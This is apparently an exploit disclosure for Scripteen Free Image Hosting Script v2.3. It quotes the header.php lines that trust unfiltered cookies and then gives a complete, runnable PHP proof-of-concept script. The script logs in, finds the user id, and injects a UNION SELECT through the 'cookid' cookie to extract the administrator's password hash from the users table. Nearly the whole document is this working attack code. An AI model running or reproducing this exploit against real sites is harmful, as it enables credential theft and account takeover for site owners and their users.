===================
Scripteen Free Image Hosting Script v2.3 SQL Injection vulnerable
===================
The vulnerable: header.php (line 53-62)
$userid=$_SESSION['userid'];
$usergid=$_SESSION['usergid'];
if (!$userid || empty($userid) || $userid==""){
$userid = $_COOKIE['cookid'];
}
if (!$usergid || empty($usergid) || $usergid==""){
$usergid = $_COOKIE['cookgid'];
}
As you can see $_COOKIE['cookid'] and $_COOKIE['cookgid'] is not filtered and can be used to do an SQL Injection
===================
Proof of concept
===================
<?php
// *************************************
// Global variables
// *************************************
$g_arguments = getArguments();
$g_url = isset($g_arguments['url']) ? $g_arguments['url'] : false;
$g_username = isset($g_arguments['username']) ? $g_arguments['username'] : false;
$g_password = isset($g_arguments['password']) ? $g_arguments['password'] : false;
// *************************************
// *************************************
// Print help
// *************************************
if(isset($g_arguments['help']) || $g_url === false || $g_username === false || $g_password === false)
{
echo "###################################\n";
echo "# \n";
echo "# Scripteen Free Image Hosting V2.3\n";
echo "# SQL Injection Exploit \n";
echo "# Discovered by Coksnuss \n";
echo "# POC script by Coksnuss \n";
echo "# \n";
echo "###################################\n";
echo "Usage: " . $argv[0] . "\n";
echo "\t--help - This help\n";
echo "\t--url=[STR] - URL of a vulnerable site (e.g. http://www.host.de/path/to/script)\n";
echo "\t--username=[STR] - A valid username to login\n";
echo "\t--password=[STR] - A valid password to login\n";
die();
}
// *************************************
// *************************************
// Main
// *************************************
$url = strpos($g_url, '.php') !== false ? dirname($g_url) : $g_url;
if(substr($url, -1, 1) == '/' ) $url = substr($url, 0, -1);
// Get Cookie
echo "Generate cookie...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $g_url . '/login.php');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, 'uname=' . urlencode($g_username) . '&pass=' . urlencode($g_password));
$ret = curl_exec($curl);
curl_close($curl);
preg_match_all('/([\d]{1}[.][\d]{1})/', $ret, $matches);
if(!array_search('2.3', $matches[1]))
echo("\nWarning: It seems like this site do not use version 2.3 of the Scripteen Free Image Hosting Script!\n");
if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt'))
die('Be sure that you\'ve enabled CURL and have write permission in the script directory!');
echo "DONE\n";
// Get userid
echo "Get userid...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIEFILE, dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$ret = curl_exec($curl);
curl_close($curl);
if(!preg_match('/<input type="hidden" name="userid" id="userid" value="([\d]{1,3})"/', $ret, $match))
die('Couldn\'t retrieve userid! Check your login data again!');
$userid = $match[1];
echo "DONE (" . $userid . ")\n";
// Get the password hash from userid 1
echo "Get the passwordhash from userid 1...\n";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIE, 'cookid=' . $userid . ' UNION SELECT 1,2,password,4,5,6,7,8,9,10,11 FROM users WHERE userid=1; cookgid=3; cookname=' . urlencode($g_username) . '; cookpass=' . md5($g_password));
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$ret = curl_exec($curl);
curl_close($curl);
if(!preg_match('/<input type="text" name="uname" id="uname" value="([a-z0-9]{32})"/', $ret, $match))
die('Couldn\'t find the password hash!');
echo "Hash found: " . $match[1] . "\n";
// *************************************
// *************************************
// Global functions
// *************************************
function getArguments()
{
global $argv;
foreach($argv as $arg)
{
if(substr($arg, 0, 2) == '--')
{
// In case its an arguments (e.g. --arg='1')
if(($pos = strpos($arg, '=')) !== false)
{
$name = substr($arg, 2, ($pos - 2));
$value = substr($arg, ($pos + 1));
$args[$name] = $value;
// Or just a flag (e.g. --help)
} else {
$name = substr($arg, 2);
$args[$name] = true;
}
} else if($arg == $argv[0]) {
$args[0] = $argv[0];
}
}
return $args;
}
// *************************************
?>
